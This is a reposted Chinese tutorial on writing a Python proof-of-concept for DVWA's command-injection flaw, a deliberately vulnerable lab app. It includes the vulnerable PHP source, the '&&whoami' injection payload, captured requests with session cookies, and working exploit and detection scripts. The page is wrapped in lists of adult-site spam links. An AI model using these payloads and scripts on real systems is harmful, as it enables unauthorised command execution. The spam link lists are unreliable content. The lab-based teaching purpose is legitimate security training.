日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

【黑客编程】手把手教你编写POC

發布時間:2023/12/20 编程问答 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【黑客编程】手把手教你编写POC 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

1 概述

1.1 什么是POC?

POC(全稱: Proof of concept), 中文譯作概念驗證。在安全界可以理解成漏洞驗證程序,和一些應用程序相比,PoC 是一段不完整的程序,僅僅是為了證明提出者的觀點的一段代碼。

1.2 實驗環境

  • PyCharm

  • Python 3.8.0

  • lxml 4.8.0

  • requests 2.27.1

  • mihun 1.0

  • DVWA 1.10

1.3 安裝環境

pip install requests==2.27.1pip install bs4==0.0.1pip install lxml==4.8.0

2 分析漏洞

本次漏洞使用 DVWA(Damn Vulnerable Web App) 是一個用來進行安全脆弱性鑒定的PHP/MySQL Web 應用,旨在為安全專業人員測試自己的專業技能和工具提供合法的環境,幫助web開發者更好的理解web應用安全防范的過程。mihun滲透靶場 已經集成DVWA。

http://mihun-ip/

2.1 漏洞分析

user: adminpassword: password 登入DVWA系統,將 DVWA Security 修改為low,本次使用 Command Injection(命令注入) 模塊作為此次POC驗證漏洞點

2.2 如何觸發漏洞?

Command Injection(命令注入) 模塊用于驗證網絡是否通暢,由于對輸入的參數檢查不嚴格導致任意命令執行

ping sechelper.cn && whoami

2.3 源碼分析

Command Injection 模塊源碼

<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>";} ?>

分析上面源碼發現ip參數未過濾被帶入命令執行函數shell_exec,利用linux/win命令特性拼接參數 sechelper.cn&&whoami

偽代碼如下:

shell_exec( 'ping -c 4 ' . $target ) == shell_exec('ping -c 4 sechelper.cn&&whoami' );

3 編寫驗證程序

使用PyCharm 創建一個python項目

3.1 分析http數據包

使用火狐瀏覽器按 F12 開啟Firebug開發者模式,選擇網絡 重新觸發漏洞觀察http請求


?

文件列 /vulnerabilities/exec/ 是接口地址,方法是 POST ,域名是 192.168.17.5 ,完整http請求包如下:

POST /vulnerabilities/exec/ HTTP/1.1Host: 192.168.17.5User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 17Origin: http://192.168.17.5Connection: keep-aliveReferer: http://192.168.17.5/vulnerabilities/exec/Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=lowUpgrade-Insecure-Requests: 1 ip=192.168.17.5&Submit=Submit

3.2 構建初版代碼

漏洞的信息已經知道的差不多,開始編寫代碼

# coding=utf-8 import requests url = "http://192.168.17.5/vulnerabilities/exec/"data = {"ip": "sechelper.cn"} # 禁止跳轉 allow_redirects = Falseresponse = requests.post(url, data, allow_redirects=False)print("狀態: {}".format(response.status_code))print("302跳轉地址:{}".format(response.next.url))

執行上面代碼返回狀態 302,不應該是200 嗎?為什么返回 302 ?,觀察控制臺內打印出的跳轉地址是登入界面,原來/vulnerabilities/exec/ 有授權驗證,未授權會跳轉到登入界面

3.3 請求授權接口

怎么才能授權呢?

這里就不分析登入的過程了,登入信息保存在Cookie內,在請求頭內加入 cookie

# coding=utf-8 import requests url = "http://192.168.17.5/vulnerabilities/exec/"# Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=lowheaders = {"cookie": "PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low"}data = {"ip": "sechelper.cn&&whoami", "Submit": "Submit"} # 禁止跳轉 allow_redirects = Falseresponse = requests.post(url, data, allow_redirects=False, headers=headers)print("狀態: {}".format(response.status_code))print("結果:{}".format(response.text))

從結果內看出代碼已經可以訪問并利用 /vulnerabilities/exec/ 存在漏洞接口,那么如何使用代碼快速識別出漏洞是否存在呢?

3.4 快速驗證漏洞兩種方法

特征方式匹配返回結果里的特征檢測漏洞是否存在,匹配到 自定義 的字符則表示漏洞存在

# coding=utf-8 import requests url = "http://192.168.17.5/vulnerabilities/exec/"# Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=lowheaders = {"cookie": "PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low"}data = {"ip": "192.168.17.5&&echo sechelper", "Submit": "Submit"} # 禁止跳轉 allow_redirects = Falseresponse = requests.post(url, data, allow_redirects=False, headers=headers) if response.status_code == 200 and response.text.find("sechelper") != -1: print("[*] {} is weak".format(url))else: print("[x] {} is safe".format(url))print("Detection completed...")

關鍵輸出方式輸出關鍵信息人工判斷是否成功,一些復雜的漏洞利用需要使用這種方式

# coding=utf-8 import requests url = "http://192.168.17.5/vulnerabilities/exec/"# Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=lowheaders = {"cookie": "PHPSESSID=3eabqr5lprmsir8n0211bolpn1; security=low"}data = {"ip": "192.168.111.129&&echo sechelper", "Submit":"Submit"} # 禁止跳轉 allow_redirects = Falseresponse = requests.post(url, data, allow_redirects=False, headers=headers, timeout=5) if response.status_code == 200: from bs4 import BeautifulSoup soup = BeautifulSoup(response.text, 'lxml') # 在html找到第一個pre標簽并返回,取出內容就是命令執行的結果 pre = soup.find("pre") print("[*] response {}".format(pre.text))print("Detection completed...")

4 結束語

滲透過程中自己寫腳本可以更方便快捷的做一些事情,滲透測試很難全程自動化,寫一些小工具可以顯著提高滲透效率,想要做一個合格白帽子會一門語言是很有必要的。關注至察助安,專注網絡安全優質知識分享,無優質,不分享。

總結

以上是生活随笔為你收集整理的【黑客编程】手把手教你编写POC的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 香蕉久久国产av一区二区 | 国产亚洲一区二区三区不卡 | 少妇全黄性生交片 | 中出少妇 | 国产传媒视频在线 | 欧美激情视频在线 | 曰本黄色片 | 99中文字幕 | 驯服少爷漫画免费观看下拉式漫画 | 狠狠干2020 | 91精品人妻一区二区三区蜜桃欧美 | 一区二区激情视频 | 色综合久久88 | 亚洲国产精品免费视频 | av影院在线观看 | 国产精品亚洲一区二区无码 | 国产精品主播在线 | 91av国产视频| av在线资源站 | 精品午夜视频 | 亚洲影库| 日韩免费视频一区二区视频在线观看 | 999国产精品| 亚洲色图五月天 | 黄色高清无遮挡 | 亚洲国产精品成人综合色在线婷婷 | www.色婷婷.com| 综合久久国产 | 日本国产在线观看 | 青青草www | 91传媒网站 | 国产成人啪精品 | 亚洲天堂网在线视频 | 超91在线| 免费无遮挡无码永久在线观看视频 | 亚洲天堂一 | 永久免费精品 | 亚洲精品18p | 在线欧美色 | 欧美日韩tv| 亚洲日本香蕉视频 | 欧美日韩一区精品 | 日韩av影视大全 | 亚洲 激情 | 茄子av | 无码人妻一区二区三区在线 | www.午夜av| 国产免费一区二区三区在线播放 | 日韩黄色一区二区 | 亚洲色图国产视频 | 给我看免费高清在线观看 | 久久国产精品久久久久久电车 | 日本福利片在线观看 | 麻豆蜜桃wwww精品无码 | 色香蕉av| 19禁大尺度做爰无遮挡电影 | 91网站免费看 | 国产色婷婷| 超碰人人在线观看 | 美女露出让男生揉的视频 | 国产精品对白刺激久久久 | 中文字幕在线免费观看 | 最新福利在线 | 偷拍超碰 | fc2ppv在线播放 | 销魂美女一区二区 | 18+视频在线观看 | 国产精品一线天粉嫩av | 亚洲欧美综合另类自拍 | 国产精品高潮呻吟AV无码 | 伊人免费在线观看高清版 | 亚洲AV乱码国产精品观看麻豆 | 激情视频在线免费观看 | 香蕉色视频 | 国产麻豆电影在线观看 | 亚洲美女屁股眼交8 | 亚洲三级黄色片 | 欧美日韩一区二区在线观看 | 欧美一级性生活 | 天海翼av| 操一操av| 蜜桃香蕉视频 | 粉嫩av懂色av蜜臀av分享 | 国产精品高潮呻吟久久av野狼 | 涩涩成人网 | 亚洲二级片 | 国产午夜精品福利 | 狠狠干影院| 豆花av在线 | 9l视频自拍九色9l视频 | 粉嫩精品久久99综合一区 | 午夜av一区二区 | 日韩性猛交ⅹxxx乱大交 | 日韩激情欧美 | 黄色高清视频 | 秋霞视频在线 | 人人看超碰 | 国产美女www爽爽爽视频 | 亚洲精品视频三区 |